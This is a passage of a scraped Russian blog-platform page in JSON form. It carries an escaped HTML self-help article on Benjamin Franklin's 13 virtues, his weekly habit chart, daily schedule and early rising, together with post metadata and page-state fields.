неизбежных.\x3c/li>\n\x3cli>\x3cstrong>Целомудрие\x3c/strong>. Похоти предавайся редко, единственно для здоровья или для продления рода; не допускай, чтобы она привела к отупению или к слабости, либо лишила душевного покоя или бросила тень на доброе имя твоё или чьё-либо еще.\x3c/li>\n\x3cli>\x3cstrong>Кротость.\x3c/strong> Следуй примеру Иисуса и Сократа.\x3c/li>\n\x3c/ol>\n\x3cp>Впечатляющий список добродетелей, не так ли? Но Франклин на этом не остановился.\x3c/p>\n\x3cp>Он разработал систему, которая помогла ему сделать эти добродетели частью своей повседневной жизни. В её основе был 13-недельный план, который помогал ему оставаться сосредоточенным на том, что сейчас важно.\x3c/p>\n\x3cp>Так как главной целью Франклина было сделать эти добродетели привычными, он решил на каждую из них выделять одну неделю. И лишь по истечении этого времени переходить к следующей добродетели.\x3c/p>\n\x3cp>Ежедневная борьба  — постоянно оставаться сосредоточенным на том, что действительно важно.\x3c/p>\n\x3cp>Как и многим из нас, Бенджамину Франклину было очень сложно сосредоточиться.\x3c/p>\n\x3cp>Это на самом деле трудно, особенно, когда перед сном мы засыпаем с мыслью о том, что завтра нам предстоит выполнить множество задач, которые будут отвлекать нас от главной цели. Никто также не отменял давление со стороны других людей и наши собственные противоречивые приоритеты.\x3c/p>\n\x3cp>Чтобы оставаться сосредоточенным, Бенджамин Франклин завёл записную книжку из 13 страниц — по одной на каждую добродетель.\x3cem> \x3c/em>Каждую страницу он разлиновал так, что получилось семь столбцов (семь дней недели). Затем он провёл 13 горизонтальных линий (13 добродетелей)\x3cstrong>\x3cem>. \x3c/em>\x3c/strong>\x3c/p>\n\x3cdiv>\x3ca href=\"http://lifehacker.ru/wp-content/uploads/2014/11/benjamin-franklin-scorecard.jpg\" rel=\"lightbox-0\">\x3cimg src=\"http://mtdata.ru/u5/photoDD56/20394382365-0/original.jpg#20394382365\" alt=\"правила жизни Франклина\" width=\"630\" height=\"674\" />\x3c/a>\n\x3cp>Воздержанность. Ешь не до пресыщения, пей не до опьянения.\x3c/p>\n\x3c/div>\n\x3cp>Франклин знал, что он не cможет овладеть всеми 13-ю добродетелями сразу. Как уже было упомянуто выше, он решил посвящать каждой из них по одной неделе. Франклин считал, что если будет фокусироваться на одной добродетели, то она быстро войдёт в привычку. После этого, он планировал переходить к другой добродетели, на следующей неделе к следующей, и так далее, пока он не овладеет всеми.\x3c/p>\n\x3cp>В первую неделю главное внимание Франклина было сосредоточено на одной добродетели; другие же добродетели оставлялись на волю случая, он только отмечал каждый вечер чёрным кружком промахи, сделанные в течение дня. \x3c/p>\n\x3cblockquote>\n\x3cp>Есть три вещи, сделать которые необычайно трудно: сломать сталь, раскрошить алмаз и познать самого себя.\x3c/p>\n\x3cp>\x3cem>Бенджамин Франклин\x3c/em>\x3c/p>\n\x3c/blockquote>\n\x3cp>Таким образом, он мог работать над собой, самосовершенствоваться и делать каждый день всё меньше и меньше ошибок, становясь лучше с каждым годом.\x3c/p>\n\x3ch2>3. Планируйте каждый свой день\x3c/h2>\n\x3cp>Франклин знал, как это важно — делать правильные вещи в нужное время. Чтобы в этом преуспеть, он всегда чётко планировал свой день.\x3c/p>\n\x3cp>Благодаря ежедневному расписанию он структурировал все свои дела, и это позволило ему делать упор на то, что является действительно важным. \x3c/p>\n\x3cblockquote>\n\x3cp>Пусть все вещи лежат на своем месте; пусть у каждого дела будет своё время.\x3c/p>\n\x3cp>\x3cem>Бенджамин Франклин\x3c/em>\x3c/p>\n\x3c/blockquote>\n\x3cp>Ниже представлен пример расписания Бенджамина Франклина ↓\x3c/p>\n\x3cdiv>\x3ca href=\"http://lifehacker.ru/wp-content/uploads/2014/11/benjamin-franklin-schedule.jpg\" rel=\"lightbox-1\">\x3cimg src=\"http://mtdata.ru/u5/photoD154/20063600912-0/original.jpg#20063600912\" alt=\"правила жизни Франклина\" width=\"630\" height=\"1046\" />\x3c/a>\n\x3cp>Ежедневное расписание Бенджамина Франклина\x3c/p>\n\x3c/div>\n\x3cp>Если вы планируете каждый свой день, то вы можете сосредоточиться на том, что действительно важно для вас. И делать правильные вещи в нужное время.\x3c/p>\n\x3cp>Такое расписание поможет вам распланировать весь свой день: вы будете уверены, что ничего не забудете и всё успеете.\x3c/p>\n\x3cp>Всё, что было для него важно, Бенджамин включал в свой график. Когда будете готовить собственное расписание, помните, что включить в него необходимо не только рабочие, но и ваши личные дела.\x3c/p>\n\x3ch2>4. Просыпайтесь рано\x3cspan style=\"font-size: 10px;\"> \x3c/span>\x3c/h2>\n\x3cblockquote>\n\x3cp>Каждая минута, потраченная на организацию своей деятельности, экономит вам целый час.\x3c/p>\n\x3cp>\x3cem>Бенджамин Франклин\x3c/em>\x3c/p>\n\x3c/blockquote>\n\x3cp>Франклин знал, насколько это важно — быть организованным человеком.\x3c/p>\n\x3cp>Ни для кого не секрет, что если мы придём на работу и перед этим не структурируем все задачи, которые перед нами стоят, то мы  быстро увязнем в многочисленных мелочах, которые ежедневно наваливаются на нас.\x3c/p>\n\x3cp>Мы будем нервничать и метаться между разными заданиями, не зная, чему отдать предпочтение. Находясь в подобном режиме каждый день, мы теряемся, забываем о том, что действительно важно и, как следствие, не выполняем того, что нужно. Если мы ничего не предпримем, чтобы \x3cspan>избавиться\x3c/span>от своей дезорганизованности, то скоро нас захватят дни, недели, месяцы и даже годы без прогресса. \x3c/p>\n\x3cblockquote>\n\x3cp>Тот, кто поздно встаёт, должен целый день бежать, чтобы к ночи еле-еле завершить все свои дела.\x3c/p>\n\x3cp>\x3cem>Бенджамин Франклин\x3c/em>\x3c/p>\n\x3c/blockquote>\n\x3cp>Франклин вставал каждый день в 5 часов утра для того, чтобы определить свои планы на день. Он каждое утро задавал себе один и тот же вопрос: «\x3cstrong>Что я должен сделать сегодня?\x3c/strong>«.\x3c/p>\n\x3cp>Он просыпался, завтракал, планировал свой день, и к 8 утра уже был готов приступить к делам.\x3c/p>\n\x3cp>Такова была его утренняя привычка. Во многом, возможно, рутинная. Но она имела очень важное значение, потому как позволяла ему сфокусироваться на главной цели.\x3c/p>\n\x3cp>Благодаря этой привычке у Франклина было 3 часа фору перед остальными. То, чем вы занимаетесь с того момента, как проснулись и до того момента, как начали работать, имеет большое значение. От этого может зависеть исход всего вашего дня.\x3c/p>\n\x3ch2>5. Что хорошего я сделал за день?\x3cspan style=\"font-size: 10px;\"> \x3c/span>\x3c/h2>\n\x3cblockquote>\n\x3cp>Рано ложиться и рано вставать — вот что делает человека здоровым, богатым и умным.\x3c/p>\n\x3cp>\x3cem>Бенджамин Франклин\x3c/em>\x3c/p>\n\x3c/blockquote>\n\x3cp>Конец дня — это время, когда вы можете оценить всё, что сделали за сегодня. Вы можете заметить свой прогресс и похвалить себя за успехи, или, наоборот, понять, что вам ещё предстоит хорошо поработать, чтобы достигнуть намеченной цели.\x3c/p>\n\x3cp>Бенджамин Франклин каждый вечер спрашивал себя: «Что хорошего я сделал за сегодня?». Это являлось важным шагом на пути к его цели, которая, как мы помним, заключалась в достижении морального совершенства.\x3c/p>\n\x3cp>Жизнь Бенджамина Франклина — это яркий пример того, что вы можете достигнуть желаемого, если постоянно и целенаправленно к нему стремитесь.  Этот человек сумел изменить не только свою жизнь, но и жизнь многих людей.\x3c/p>\n\x3cp>\x3ca href=\"http://lifehacker.ru/2014/11/21/5-urokov-franklina/\" target=\"_blank\">Источник\x3c/a>\x3c/p>","comments_count":0,"marks_count":11,"likes":{"count":9,"user_likes":0,"can_like":0,"marks_pluses":10,"marks_minuses":1,"user_like_attr":null,"like_attr_ids":[{"id":-100,"count":1},{"id":100,"count":10}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30669388060.mirtesen.ru/blog/43482935285","tags":["правильные привычки","богатство","Обсуждение с сообществом","жизнь","организация","удача","планирование","здоровье","Бенджамин Франклин","успех","распорядок дня"],"date":1417769600,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20617455214,"photo_original":"https://mtdata.ru/u3/photoAA9C/20617455214-0/original.jpg","width":630,"height":420}}],"group":{"display_name":"ПолонСил.ру - социальная сеть здоровья","url":"https://s30669388060.mirtesen.ru","photo_original":"//mtdata.ru/u20/photo2B7E/20125696275-0/original.jpeg","id":30669388060,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1354869995507},"canonical_url":"https://s30669388060.mirtesen.ru/blog/43482935285","topic":"politics","title":"5 уроков Бенджамина Франклина, которые помогут вам преуспеть в жизни","preview_text":"Как эффективно распределять своё время? Как достичь морального совершенства? Ответы на эти вопросы знал Бенджамин Франклин, пятью важными уроками которого мы поделимся сегодня с вами. \n\n \n\nМногие люди умирают в 25 лет, а в могилу попадают только в 75. Бенджамин Франклин \n\nПрактически все мы что-то","post_type":"post","formattedDates":{"iso":"2014-12-05T08:53:20.000Z","ver1":"5 декабря, 11:53","ver2":"05.12.2014 в 11:53","ver3":"5 дек., 11:53"},"images":[{"main":true,"url":"https://mtdata.ru/u3/photoAA9C/20617455214-0/original.jpg","width":630,"height":420}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"правильные привычки","tagId":80098814605,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"channelId":null,"isMobile":false,"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}